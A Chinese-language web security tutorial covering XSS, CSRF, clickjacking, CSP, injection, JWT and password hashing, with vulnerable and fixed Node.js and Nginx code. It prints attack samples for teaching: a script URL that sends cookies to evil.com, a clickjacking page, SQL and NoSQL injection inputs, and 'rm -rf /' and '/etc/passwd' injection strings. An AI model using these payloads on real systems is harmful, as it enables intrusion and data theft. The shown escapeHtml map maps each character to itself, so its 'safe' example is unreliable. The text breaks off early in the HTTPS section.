[特殊字符]️ 前端 + Node.js + Nginx 安全防护终极指南:从入门到实战(2025最新版)

🛡️ 前端 + Node.js + Nginx 安全防护终极指南:从入门到实战(2025最新版)

🔒 一句话总结 :安全不是某一个环节的事,而是前端 → 后端 → 服务器 三层防线的协同作战。本文用大量代码示例通俗比喻,带你逐个击破每个安全威胁。


📑 文章目录

章节 内容 涉及层
安全防护全景图:三层防线架构 全栈
XSS 攻击:前端头号杀手 前端
CSRF 攻击:假冒你的身份 前端+后端
点击劫持:看不见的陷阱 前端
内容安全策略(CSP):白名单制度 前端+Nginx
SQL/NoSQL 注入:数据库的噩梦 后端 Node.js
命令注入:服务器的后门 后端 Node.js
身份认证与 JWT 安全 后端 Node.js
密码加密与存储 后端 Node.js
限流与防暴力破解 后端 + Nginx
十一 HTTP 安全头:Helmet 实战 后端 Node.js
十二 HTTPS 与 TLS 配置 Nginx
十三 Nginx 反向代理安全加固 Nginx
十四 Nginx WAF:ModSecurity 实战 Nginx
十五 文件上传安全:前后端协作 全栈
十六 日志、监控与应急响应 全栈
十七 安全 Checklist:上线前必检清单 全栈
十八 实战:从零搭建安全项目骨架 全栈

一、安全防护全景图:三层防线架构

🏠 通俗比喻:想象你的应用是一栋大厦。

  • Nginx = 大厦的门卫和围墙(第一道防线)
  • Node.js 后端 = 大厦内部的安保系统(第二道防线)
  • 前端 = 每个房间里的保险箱(第三道防线)

三层防线层层递进,任何一层被攻破,其他层仍能保护核心数据。

1.1 三层防线架构图

复制代码
┌─────────────────────────────────────────────────────────┐
│                     用户浏览器(客户端)                    │
│  ┌───────────────────────────────────────────────────┐  │
│  │  第三道防线:前端安全                                  │  │
│  │  • 输入过滤/转义  • CSP策略  • HttpOnly Cookie       │  │
│  │  • CSRF Token    • SRI校验   • 输入校验              │  │
│  └──────────────────────┬────────────────────────────┘  │
└─────────────────────────┼───────────────────────────────┘
                          │ HTTPS
┌─────────────────────────▼───────────────────────────────┐
│               Nginx 反向代理(网关层)                      │
│  ┌───────────────────────────────────────────────────┐  │
│  │  第一道防线:Nginx 安全                               │  │
│  │  • HTTPS/TLS     • 限流限并发   • WAF防火墙          │  │
│  │  • 隐藏后端信息   • 请求过滤     • DDoS防护          │  │
│  │  • 安全响应头     • IP黑白名单   • 日志审计          │  │
│  └──────────────────────┬────────────────────────────┘  │
└─────────────────────────┼───────────────────────────────┘
                          │ 内部转发
┌─────────────────────────▼───────────────────────────────┐
│               Node.js 后端(应用层)                        │
│  ┌───────────────────────────────────────────────────┐  │
│  │  第二道防线:后端安全                                  │  │
│  │  • 参数校验/参数化查询  • JWT/Session安全             │  │
│  │  • bcrypt密码加密      • Helmet安全头                │  │
│  │  • CORS白名单          • 限流中间件                  │  │
│  │  • 日志记录             • 错误处理                   │  │
│  └───────────────────────────────────────────────────┘  │
│                        │                                  │
│                   ┌────▼────┐                            │
│                   │ 数据库   │                            │
│                   └─────────┘                            │
└─────────────────────────────────────────────────────────┘

1.2 常见攻击类型与防线对应

攻击类型 危险等级 主要防线 辅助防线
XSS(跨站脚本) 🔴 高危 前端转义 + CSP 后端过滤 + Helmet
CSRF(跨站请求伪造) 🔴 高危 后端 Token 验证 SameSite Cookie
SQL/NoSQL 注入 🔴 高危 后端参数化查询 Nginx WAF
命令注入 🔴 高危 后端输入过滤 Nginx WAF
暴力破解 🟡 中危 后端限流 Nginx 限流
DDoS 攻击 🔴 高危 Nginx 限流 CDN + 云防护
中间人攻击 🔴 高危 Nginx HTTPS HSTS 头
点击劫持 🟡 中危 前端 X-Frame-Options Helmet 自动设置
文件上传攻击 🔴 高危 后端文件校验 Nginx 执行限制

二、XSS 攻击:前端头号杀手

🎭 通俗比喻:XSS 就像一个骗子在你的公告栏上贴了一张假通知,其他人看到后会按照假通知的内容去做,比如把自己的银行卡号填到骗子的表格里。

攻击者把恶意 JavaScript 代码注入到你的网页中,其他用户浏览时就会自动执行这些代码。

2.1 XSS 的三种类型

类型一:反射型 XSS(非持久型)

场景:用户点击一个恶意链接,URL 参数中包含恶意脚本,服务器直接把参数拼到页面中返回。

javascript 复制代码
// ❌ 危险写法:直接把 URL 参数插入页面
app.get('/search', (req, res) => {
  res.send(`搜索结果:${req.query.keyword}`);
});

// 攻击者构造的恶意链接:
// https://example.com/search?keyword=<script>document.location='https://evil.com?cookie='+document.cookie</script>

// ✅ 安全写法:对输出进行 HTML 转义
function escapeHtml(str) {
  const map = {
    '&': '&',
    '<': '<',
    '>': '>',
    '"': '"',
    "'": ''',
    '/': '/'
  };
  return str.replace(/[&<>"'\/]/g, c => map[c]);
}

app.get('/search', (req, res) => {
  const safe = escapeHtml(req.query.keyword || '');
  res.send(`搜索结果:${safe}`);
});
类型二:存储型 XSS(持久型)

场景 :攻击者在评论区提交恶意脚本,服务器存入数据库。所有用户查看评论时都会执行恶意代码。这是最危险的 XSS 类型。

javascript 复制代码
// ❌ 危险写法:直接渲染用户输入
function renderComments(comments) {
  comments.forEach(c => {
    document.getElementById('list').innerHTML += 
      `<div class="comment">${c.content}</div>`;  // 直接插入,危险!
  });
}

// ✅ 安全写法:使用 textContent 代替 innerHTML
function renderComments(comments) {
  comments.forEach(c => {
    const div = document.createElement('div');
    div.className = 'comment';
    div.textContent = c.content;  // 自动转义,安全!
    document.getElementById('list').appendChild(div);
  });
}
类型三:DOM 型 XSS

场景:前端 JavaScript 直接读取 URL 或用户输入并插入 DOM,不经过服务器。

javascript 复制代码
// ❌ 危险写法:从 URL hash 中读取内容并插入页面
const content = decodeURIComponent(location.hash.slice(1));
document.getElementById('output').innerHTML = content;

// ✅ 安全写法:使用 textContent 或 DOMPurify 库
import DOMPurify from 'dompurify';

const content = decodeURIComponent(location.hash.slice(1));
document.getElementById('output').innerHTML = DOMPurify.sanitize(content);
// DOMPurify 会过滤掉 <script>、onerror 等危险内容,保留安全的 HTML 标签

2.2 前端 XSS 防护速查表

方法 说明 代码示例
textContent 纯文本插入,自动转义 el.textContent = userInput
DOMPurify 富文本消毒库 DOMPurify.sanitize(html)
Vue {{ }} Vue 自动转义 {{ message }} 或 v-text
React { } React 自动转义 {message}(默认转义)
避免 v-html Vue 中慎用 必须用时配合 DOMPurify
避免 dangerouslySetInnerHTML React 中慎用 必须用时配合 DOMPurify

💡 黄金法则永远不要信任用户输入。无论是从 URL、表单、Cookie 还是 localStorage 获取的数据,在插入页面前都要进行转义或消毒。


三、CSRF 攻击:假冒你的身份

🎫 通俗比喻:你刚在银行 APP 登录过,浏览器保存了你的登录凭证(Cookie)。攻击者给你发了一个恶意网页,这个网页会自动向银行发送转账请求。因为你的浏览器会自动带上 Cookie,银行以为是你的操作。

3.1 CSRF 攻击流程

复制代码
攻击者构造恶意页面       受害者浏览器              目标网站
      │                        │                      │
      │ 1.诱骗受害者点击链接     │                      │
      │───────────────────────>│                      │
      │                        │ 2.自动发请求+Cookie   │
      │                        │─────────────────────>│
      │                        │                      │
      │                        │ 3.Cookie验证通过      │
      │                        │<─────────────────────│
      │                        │                      │
      │ 4.攻击者目的达成         │                      │

3.2 后端防护:CSRF Token(推荐)

javascript 复制代码
// 安装:npm install csurf cookie-parser
const express = require('express');
const cookieParser = require('cookie-parser');
const csrf = require('csurf');

const app = express();
app.use(cookieParser());

// 配置 CSRF 保护
const csrfProtection = csrf({ cookie: true });

// 给前端下发 CSRF Token
app.get('/api/csrf-token', csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// 所有修改操作的接口都需要 CSRF Token
app.post('/api/transfer', csrfProtection, (req, res) => {
  res.json({ success: true, message: '转账成功' });
});

app.listen(3000);

3.3 前端配合:每次请求携带 Token

javascript 复制代码
// 前端:获取 CSRF Token 并在请求中携带
let csrfToken = '';

// 页面加载时获取 Token
fetch('/api/csrf-token', { credentials: 'same-origin' })
  .then(res => res.json())
  .then(data => { csrfToken = data.csrfToken; });

// 每次发送 POST/PUT/DELETE 请求时携带 Token
async function transferMoney(to, amount) {
  const res = await fetch('/api/transfer', {
    method: 'POST',
    credentials: 'same-origin',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken   // 在请求头中携带 CSRF Token
    },
    body: JSON.stringify({ to, amount })
  });
  return res.json();
}

3.4 SameSite Cookie:最简单的防护

javascript 复制代码
// 后端设置 Cookie 时添加 SameSite 属性
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,    // 防止 JS 读取 Cookie
    secure: true,      // 仅 HTTPS 传输
    sameSite: 'strict' // 关键:禁止跨站发送 Cookie
    // 'strict' = 完全禁止跨站
    // 'lax'   = 允许顶级导航的 GET 请求(推荐)
    // 'none'  = 允许跨站(必须配合 secure)
  }
}));

// 或者手动设置 Cookie
res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  maxAge: 24 * 60 * 60 * 1000  // 24小时
});

💡 最佳实践SameSite=Lax + CSRF Token 双重防护。SameSite 是浏览器层面的保护,CSRF Token 是应用层面的保护,互为补充。


四、点击劫持:看不见的陷阱

🎯 通俗比喻:攻击者在"点击领取红包"按钮下面,放了一个透明的"确认转账"按钮。你以为在点红包,其实在转账。这就是点击劫持------你看不到真正的按钮,但你的点击被劫持了。

4.1 攻击原理图解

复制代码
┌──────────────────────────────────┐
│  攻击者的恶意页面                    │
│                                    │
│  ┌────────────────────────────┐  │
│  │  "点击领取 iPhone 18!"      │  │ ← 用户看到的假按钮
│  │       [假按钮]              │  │
│  └────────────────────────────┘  │
│                                    │
│  ┌────────────────────────────┐  │
│  │  透明 iframe (opacity:0.01) │  │ ← 用户看不到
│  │  ┌──────────────────────┐  │  │
│  │  │  银行转账确认按钮       │  │  │ ← 实际被点击的按钮
│  │  │  [确认转账 ¥10000]    │  │  │
│  │  └──────────────────────┘  │  │
│  └────────────────────────────┘  │
└──────────────────────────────────┘

用户点击"领取" → 实际点击了银行的"确认转账"

4.2 攻击代码示例(了解攻击才能防御)

html 复制代码
<!-- 攻击者的恶意页面 -->
<style>
  .danger-zone {
    position: absolute;
    top: 0; left: 0;
    width: 500px; height: 300px;
    opacity: 0.01;  /* 几乎透明,肉眼不可见 */
    z-index: 10;    /* 覆盖在假按钮上方 */
  }
  .fake-btn {
    position: absolute;
    top: 100px; left: 200px;
    z-index: 5;
  }
</style>

<button class="fake-btn">🎁 点击领取 iPhone 18!</button>
<iframe class="danger-zone" src="https://bank.com/transfer?to=hacker&amount=10000"></iframe>

4.3 三种防护方案

方案一:Nginx 设置 X-Frame-Options(最简单,推荐)

nginx 复制代码
# nginx.conf - 禁止被 iframe 嵌入
server {
    # DENY       = 完全禁止任何网站嵌入(最安全)
    # SAMEORIGIN = 只允许同源网站嵌入(推荐)
    add_header X-Frame-Options "SAMEORIGIN" always;
    
    # 更现代的方式:使用 CSP 的 frame-ancestors
    add_header Content-Security-Policy "frame-ancestors 'self';" always;
}

方案二:Node.js 使用 Helmet 自动设置

javascript 复制代码
const helmet = require('helmet');

// 方式1:单独使用 frameguard
app.use(helmet.frameguard({ action: 'sameorigin' }));

// 方式2:使用完整 helmet(推荐,包含多项安全头)
app.use(helmet());
// helmet() 默认会设置 X-Frame-Options: SAMEORIGIN

方案三:前端 JS 检测(兜底方案)

javascript 复制代码
// 如果发现页面被嵌在 iframe 中,自动跳出
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

// 更安全的写法:使用 CSP frame-ancestors + JS 兜底
// 因为有些旧浏览器不支持 X-Frame-Options
方案 防护层级 浏览器兼容 推荐度
X-Frame-Options Nginx/后端 几乎所有 ⭐⭐⭐⭐
CSP frame-ancestors Nginx/后端 现代浏览器 ⭐⭐⭐⭐⭐
JS 检测跳出 前端 所有 ⭐⭐⭐(兜底)
Helmet 自动设置 后端 所有 ⭐⭐⭐⭐⭐

五、内容安全策略(CSP):白名单制度

📋 通俗比喻:CSP 就像公司的门禁制度------只有白名单上的人(脚本来源)才能进入。不在白名单上的脚本一律拒绝执行。即使黑客成功注入了 script 标签,浏览器也会拦截它。

5.1 CSP 指令详解

指令 含义 示例
default-src 默认策略(其他指令的兜底) 'self'
script-src JavaScript 来源白名单 'self' cdn.jsdelivr.net
style-src CSS 来源白名单 'self' 'unsafe-inline'
img-src 图片来源白名单 'self' data: https:
font-src 字体来源白名单 'self' fonts.gstatic.com
connect-src AJAX/WebSocket 来源 'self' api.example.com
frame-ancestors 允许嵌入的页面(替代X-Frame-Options) 'none'
form-action 表单提交目标 'self'
base-uri <base> 标签限制 'self'
report-uri 违规报告地址 /csp-report

5.2 Nginx 配置 CSP(推荐方式)

nginx 复制代码
server {
    # 完整的 CSP 配置
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' https://cdn.jsdelivr.net;
        style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
        img-src 'self' data: https:;
        font-src 'self' https://fonts.gstatic.com;
        connect-src 'self' https://api.example.com;
        frame-ancestors 'none';
        base-uri 'self';
        form-action 'self';
    " always;  # always 确保所有响应都带此头,包括错误响应
}

5.3 Node.js + Helmet 配置 CSP

javascript 复制代码
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.jsdelivr.net"],
    styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
    imgSrc: ["'self'", "data:", "https:"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    connectSrc: ["'self'", "https://api.example.com"],
    frameAncestors: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"]
  }
}));

5.4 调试技巧:先用 Report-Only 模式

nginx 复制代码
# ✅ 第一步:先用 Report-Only 观察,不影响正常使用
server {
    add_header Content-Security-Policy-Report-Only "
        default-src 'self';
        script-src 'self';
        report-uri /csp-report;
    " always;
}

# 收集 CSP 违规报告
location /csp-report {
    access_log /var/log/nginx/csp.log;
    return 204;
}

# ✅ 第二步:观察一周后,确认无误再切换到正式模式
# 把 Content-Security-Policy-Report-Only 改为 Content-Security-Policy

💡 实战建议 :先用 Content-Security-Policy-Report-Only 模式运行一周,收集违规报告分析后再切换到正式 CSP,避免误拦截正常功能导致页面白屏。

5.5 场景举例:React 项目配置 CSP

nginx 复制代码
# React 项目通常需要 'unsafe-inline' 和 'unsafe-eval'(开发环境)
# 生产环境应使用 nonce 或 hash 替代

server {
    # 开发环境 CSP
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' 'unsafe-inline' 'unsafe-eval';
        style-src 'self' 'unsafe-inline';
        connect-src 'self' http://localhost:* ws://localhost:*;
    " always;
    
    # 生产环境 CSP(更严格)
    # script-src 使用 nonce 动态生成
    # 需配合后端生成随机 nonce 值

六、SQL/NoSQL 注入:数据库的噩梦

💉 通俗比喻 :你去医院挂号,护士问你"姓名",你回答 张三'; DROP TABLE patients; --。如果系统直接把你的回答拼接到 SQL 中执行,整个患者表就被删了。这就是 SQL 注入------通过输入恶意内容来操控数据库。

6.1 SQL 注入攻击演示

场景:用户登录
javascript 复制代码
// ❌ 危险写法:直接拼接 SQL 字符串
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // 攻击者输入:
  // username = "admin' --"
  // password = "随便填"
  // 
  // 实际执行的 SQL:
  // SELECT * FROM users WHERE username = 'admin' --' AND password = '随便填'
  //                                    ^^^^^^^^ 注释掉了密码验证!
  
  const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
  db.query(sql, (err, results) => {
    if (results.length > 0) {
      res.json({ success: true, user: results[0] }); // 攻击者以admin身份登录!
    }
  });
});
防御方案一:参数化查询(最推荐)
javascript 复制代码
// ✅ 安全写法:使用参数化查询(Prepared Statement)
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // ? 是占位符,数据库驱动会自动处理转义
  // 输入 "admin' --" 会被当作普通字符串处理,不会被解析为SQL语法
  const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
  
  db.query(sql, [username, password], (err, results) => {
    if (results.length > 0) {
      res.json({ success: true });
    } else {
      res.status(401).json({ error: '用户名或密码错误' });
    }
  });
});
防御方案二:使用 ORM(如 Prisma)
javascript 复制代码
// ✅ 更安全:使用 Prisma ORM,天然防注入
const { PrismaClient } = require('@prisma/client');
const prisma = new PrismaClient();

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  // Prisma 内部自动使用参数化查询
  const user = await prisma.user.findUnique({
    where: { username }
  });
  
  if (user && await bcrypt.compare(password, user.password)) {
    res.json({ success: true });
  } else {
    res.status(401).json({ error: '用户名或密码错误' });
  }
});

6.2 NoSQL 注入攻击(MongoDB)

场景:用户登录(MongoDB)
javascript 复制代码
// ❌ 危险写法:直接使用用户输入作为查询条件
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // 攻击者发送的 JSON:
  // { "username": {"$ne": ""}, "password": {"$ne": ""} }
  // 
  // 实际执行的 MongoDB 查询:
  // db.users.findOne({ username: { $ne: "" }, password: { $ne: "" } })
  // 意思是:找到 username 不为空 且 password 不为空的第一条记录
  // 结果:直接登录了第一个用户!

  db.collection('users').findOne({ username, password }, (err, user) => {
    if (user) res.json({ success: true });
  });
});
防御方案:express-validator 严格校验
javascript 复制代码
const { body, validationResult } = require('express-validator');

// ✅ 安全写法:严格校验输入类型 + bcrypt 比对密码
app.post('/login', [
  // 1. 校验 username 必须是字符串、非空、去空格
  body('username').isString().trim().notEmpty().escape(),
  // 2. 校验 password 必须是字符串、非空
  body('password').isString().notEmpty()
], async (req, res) => {
  // 3. 检查校验结果
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  
  const { username, password } = req.body;
  
  // 4. 强制转换为字符串(双保险)
  const user = await db.collection('users').findOne({ 
    username: String(username) 
  });
  
  // 5. 使用 bcrypt 比对密码(永远不比对明文)
  if (!user || !await bcrypt.compare(String(password), user.password)) {
    return res.status(401).json({ error: '用户名或密码错误' });
  }
  
  res.json({ success: true });
});

6.3 SQL 注入速查对照表

场景 ❌ 危险写法 ✅ 安全写法
查询 拼接字符串 参数化查询 / ORM
排序 直接用用户输入 白名单校验列名
表名 动态拼接表名 白名单映射表名
LIKE 直接拼接 % 参数化 + LIKE
IN 拼接 IN 列表 参数化 IN 查询

💡 核心原则 :参数化查询是防止 SQL 注入的银弹。永远不要手动拼接 SQL!使用 ORM(Prisma/Sequelize/TypeORM)可以进一步降低风险。


七、命令注入:服务器的后门

🖥️ 通俗比喻 :你做了一个"输入 IP 地址检测网络"的功能。用户输入 127.0.0.1,服务器执行 ping 127.0.0.1,这很正常。但攻击者输入 127.0.0.1; rm -rf /,服务器实际执行了 ping 127.0.0.1; rm -rf /,整台服务器被清空!

7.1 命令注入攻击演示

javascript 复制代码
// ❌ 极度危险:直接拼接执行系统命令
const { exec } = require('child_process');

app.get('/ping', (req, res) => {
  const host = req.query.host;
  // 攻击者输入:127.0.0.1; cat /etc/passwd
  // 实际执行:ping -c 4 127.0.0.1; cat /etc/passwd
  // 两个命令都会被执行!
  exec(`ping -c 4 ${host}`, (err, stdout) => {
    res.send(`<pre>${stdout}</pre>`);
  });
});

7.2 三种防御方案

方案一:使用 execFile(不经过 shell,推荐)

javascript 复制代码
// ✅ 安全:execFile 不经过 shell 解析,无法注入额外命令
const { execFile } = require('child_process');

app.get('/ping', (req, res) => {
  const host = req.query.host;
  // host 被作为单个参数传递,; rm -rf / 会被当作 ping 的参数而非新命令
  execFile('ping', ['-c', '4', host], (err, stdout) => {
    if (err) return res.status(400).json({ error: '无效的地址' });
    res.send(`<pre>${stdout}</pre>`);
  });
});

方案二:严格白名单校验(最安全)

javascript 复制代码
// ✅ 最安全:只允许合法的 IP 或域名格式
app.get('/ping', (req, res) => {
  const host = req.query.host;
  
  // IP 地址白名单校验
  const ipRegex = /^(\d{1,3}\.){3}\d{1,3}$/;
  // 域名白名单校验
  const domainRegex = /^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z]{2,})+$/;
  
  if (!ipRegex.test(host) && !domainRegex.test(host)) {
    return res.status(400).json({ error: '请输入有效的 IP 地址或域名' });
  }
  
  execFile('ping', ['-c', '4', host], (err, stdout) => {
    if (err) return res.status(400).json({ error: '无法访问目标地址' });
    res.json({ result: stdout });
  });
});

方案三:使用 safer-buffer + 参数化(通用方案)

javascript 复制代码
// ✅ 通用方案:使用数组参数 + escape
const { execFile } = require('child_process');

// 需要执行复杂命令时,使用 spawn + 参数数组
const { spawn } = require('child_process');

function safePing(host) {
  return new Promise((resolve, reject) => {
    const proc = spawn('ping', ['-c', '4', host]);
    let output = '';
    proc.stdout.on('data', (data) => { output += data; });
    proc.stderr.on('data', (data) => { output += data; });
    proc.on('close', (code) => {
      if (code === 0) resolve(output);
      else reject(new Error('Ping failed'));
    });
  });
}

7.3 路径遍历攻击(命令注入的亲戚)

javascript 复制代码
// ❌ 危险写法:直接使用用户输入拼接文件路径
app.get('/download', (req, res) => {
  const filename = req.query.file;
  // 攻击者输入:../../../etc/passwd
  // 实际路径:/var/www/uploads/../../../etc/passwd → /etc/passwd
  res.sendFile(`/var/www/uploads/${filename}`);
});

// ✅ 安全写法:使用 path.resolve + 起始目录校验
const path = require('path');

app.get('/download', (req, res) => {
  const filename = req.query.file;
  const uploadsDir = path.resolve('/var/www/uploads');
  const filePath = path.resolve(uploadsDir, filename);
  
  // 关键检查:确保解析后的路径仍在 uploadsDir 下
  if (!filePath.startsWith(uploadsDir + path.sep)) {
    return res.status(403).json({ error: '禁止访问该路径' });
  }
  
  // 额外检查:限制文件扩展名
  const allowedExt = ['.pdf', '.jpg', '.png', '.doc', '.docx', '.xls', '.xlsx'];
  if (!allowedExt.includes(path.extname(filePath).toLowerCase())) {
    return res.status(400).json({ error: '不支持的文件类型' });
  }
  
  res.sendFile(filePath);
});

💡 核心原则永远不要让用户输入直接进入 shell 命令。优先使用 execFile/spawn + 参数数组,配合白名单校验。


八、身份认证与 JWT 安全

🔑 通俗比喻:JWT 就像一张电子身份证。你登录成功后,服务器给你发一张"身份证"(Token),之后每次请求你都要出示这张身份证。但如果身份证保管不当(比如算法设为 none、密钥太简单),小偷就可以伪造身份证。

8.1 JWT 的结构

复制代码
JWT = Header.Payload.Signature

Header:    { "alg": "HS256", "typ": "JWT" }     → 算法和类型
Payload:   { "userId": 123, "exp": 1717000000 }  → 数据(不要存敏感信息!)
Signature: HMACSHA256(base64(Header) + "." + base64(Payload), secret)  → 签名

示例 Token:
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNzE3MDAwMDAwfQ.签名部分

8.2 JWT 安全配置完整示例

javascript 复制代码
const jwt = require('jsonwebtoken');

// ❌ 危险配置示例
const badToken = jwt.sign({ userId: 123 }, '123456');           // 密钥太简单
const worseToken = jwt.sign({ userId: 123 }, 'secret', 
  { algorithm: 'none' });                                        // 无签名!极度危险!

// ✅ 安全配置
const JWT_SECRET = process.env.JWT_SECRET;           // 至少32位随机字符串
const JWT_REFRESH_SECRET = process.env.JWT_REFRESH_SECRET; // 不同于 Access Token

// 生成 Access Token(短期,15分钟)
function generateAccessToken(userId) {
  return jwt.sign(
    { userId, type: 'access' },
    JWT_SECRET,
    { 
      algorithm: 'HS256',
      expiresIn: '15m',            // 15分钟过期
      issuer: 'myapp',
      audience: 'myapp-users'
    }
  );
}

// 生成 Refresh Token(长期,7天)
function generateRefreshToken(userId) {
  return jwt.sign(
    { userId, type: 'refresh' },
    JWT_REFRESH_SECRET,             // 不同密钥!
    { algorithm: 'HS256', expiresIn: '7d' }
  );
}

// 认证中间件
function authenticate(req, res, next) {
  const authHeader = req.headers.authorization;
  if (!authHeader?.startsWith('Bearer ')) {
    return res.status(401).json({ error: '未提供认证令牌' });
  }
  
  const token = authHeader.split(' ')[1];
  try {
    const decoded = jwt.verify(token, JWT_SECRET, {
      algorithms: ['HS256'],        // ⚠️ 限制算法,防止算法混淆攻击
      issuer: 'myapp',
      audience: 'myapp-users'
    });
    
    if (decoded.type !== 'access') {
      return res.status(401).json({ error: '无效的令牌类型' });
    }
    
    req.userId = decoded.userId;
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: '令牌已过期', code: 'TOKEN_EXPIRED' });
    }
    return res.status(401).json({ error: '无效的令牌' });
  }
}

8.3 Token 黑名单(支持主动撤销)

javascript 复制代码
const redis = require('redis');
const client = redis.createClient();

// 登出时将 Token 加入黑名单
app.post('/api/logout', authenticate, async (req, res) => {
  const token = req.headers.authorization.split(' ')[1];
  const decoded = jwt.decode(token);
  
  // 设置黑名单过期时间 = Token 剩余有效时间
  const ttl = decoded.exp - Math.floor(Date.now() / 1000);
  if (ttl > 0) {
    await client.setEx(`blacklist:${token}`, ttl, '1');
  }
  
  res.json({ success: true, message: '已登出' });
});

// 在认证中间件中检查黑名单
async function authenticate(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: '未提供令牌' });
  
  // 检查黑名单
  const isBlacklisted = await client.get(`blacklist:${token}`);
  if (isBlacklisted) {
    return res.status(401).json({ error: '令牌已失效' });
  }
  
  // ... 正常验证逻辑
}

8.4 JWT 安全要点总结

要点 说明 代码示例
密钥强度 至少32位随机字符串 使用 crypto.randomBytes(64)
算法白名单 限制为 HS256/RS256 algorithms: 'HS256'
Access Token 短期 15分钟过期 expiresIn: '15m'
Refresh Token 长期 7天过期 expiresIn: '7d'
不存敏感信息 Payload 可被 Base64 解码 只存 userId 等标识
Token 黑名单 支持主动撤销 Redis 存储黑名单
HTTPS 传输 防止 Token 被窃取 Nginx 强制 HTTPS

九、密码加密与存储

🔐 通俗比喻:密码不能明文存储,就像你不能把家门钥匙直接放在门口。bcrypt 就像是给钥匙套上一个特制的保险箱------即使保险箱被偷走了,没有特定工具也无法还原出原来的钥匙。

9.1 为什么不能用 MD5/SHA256?

javascript 复制代码
// ❌ 不安全:MD5 已经可以被彩虹表秒破
const md5 = require('md5');
const hashed = md5('password123');  // 期望加密,但 MD5 太快了
// 问题1:MD5 速度太快,GPU 每秒可以计算数十亿次
// 问题2:相同的密码永远产生相同的哈希值(没有盐)
// 问题3:彩虹表可以反查:https://www.md5online.org

// ❌ 不安全:SHA256 也不够
const crypto = require('crypto');
const hashed = crypto.createHash('sha256').update('password123').digest('hex');
// 问题:仍然太快,仍然可以暴力破解

// ✅ 安全:bcrypt(专为密码设计)
const bcrypt = require('bcrypt');
// bcrypt 的优势:
// 1. 自带盐(salt),相同密码产生不同哈希
// 2. 计算慢(故意设计的!),让暴力破解成本极高
// 3. cost factor 可调节,随硬件升级提高安全性

9.2 bcrypt 完整实现

javascript 复制代码
const bcrypt = require('bcrypt');

// ===== 注册:加密密码 =====
async function register(username, password) {
  // 1. 密码强度校验
  const errors = validatePassword(password);
  if (errors.length > 0) {
    throw new Error(errors.join(', '));
  }
  
  // 2. 使用 bcrypt 加密(cost factor = 12)
  const saltRounds = 12;  // 推荐 10-12,越大越安全但越慢
  const hashedPassword = await bcrypt.hash(password, saltRounds);
  
  // 3. 存入数据库
  await db.collection('users').insertOne({
    username,
    password: hashedPassword,    // 存储加密后的密码
    createdAt: new Date()
  });
  
  console.log('注册成功');
}

// ===== 登录:验证密码 =====
async function login(username, password) {
  // 1. 查找用户
  const user = await db.collection('users').findOne({ username });
  if (!user) {
    // ⚠️ 不要提示"用户不存在",统一提示"用户名或密码错误"
    // 避免攻击者枚举用户名
    throw new Error('用户名或密码错误');
  }
  
  // 2. 使用 bcrypt 比对密码
  const isValid = await bcrypt.compare(password, user.password);
  if (!isValid) {
    throw new Error('用户名或密码错误');
  }
  
  // 3. 生成 JWT Token
  return {
    accessToken: generateAccessToken(user._id),
    refreshToken: generateRefreshToken(user._id)
  };
}

// ===== 密码强度校验 =====
function validatePassword(password) {
  const errors = [];
  if (password.length < 8) errors.push('密码至少8位');
  if (password.length > 128) errors.push('密码最多128位');
  if (!/[A-Z]/.test(password)) errors.push('需要包含大写字母');
  if (!/[a-z]/.test(password)) errors.push('需要包含小写字母');
  if (!/\d/.test(password)) errors.push('需要包含数字');
  if (!/[!@#$%^&*(),.?":{}|<>]/.test(password)) errors.push('需要包含特殊字符');
  return errors;
}

// ===== 修改密码 =====
async function changePassword(userId, oldPassword, newPassword) {
  const user = await db.collection('users').findById(userId);
  
  // 验证旧密码
  const isValid = await bcrypt.compare(oldPassword, user.password);
  if (!isValid) throw new Error('旧密码不正确');
  
  // 校验新密码强度
  const errors = validatePassword(newPassword);
  if (errors.length > 0) throw new Error(errors.join(', '));
  
  // 新密码不能和旧密码相同
  const isSame = await bcrypt.compare(newPassword, user.password);
  if (isSame) throw new Error('新密码不能与旧密码相同');
  
  // 加密新密码
  const hashedPassword = await bcrypt.hash(newPassword, 12);
  await db.collection('users').updateOne(
    { _id: userId },
    { $set: { password: hashedPassword, updatedAt: new Date() } }
  );
}

9.3 密码加密方案对比

方案 安全性 速度 推荐度
MD5 ❌ 已被破解 极快(缺点) ⛔ 禁止使用
SHA256 ⚠️ 不够安全 快(缺点) ❌ 不推荐
bcrypt ✅ 安全 慢(优点) ⭐⭐⭐⭐⭐
scrypt ✅ 更安全 更慢 ⭐⭐⭐⭐
argon2 ✅ 最安全 可调节 ⭐⭐⭐⭐⭐

十、HTTPS / SSL/TLS 配置:传输层加密

🔒 通俗比喻:HTTP 就像寄明信片------经过的每个人都能看到内容。HTTPS 就像把信装进密封的信封里,只有收件人能拆开。没有 HTTPS,你输入的密码、Token 在传输过程中都是裸奔的。

10.1 Let's Encrypt 免费证书 + 自动续期

nginx 复制代码
# 第一步:安装 certbot(CentOS/RHEL)
# yum install certbot python3-certbot-nginx

# Ubuntu/Debian
# apt install certbot python3-certbot-nginx

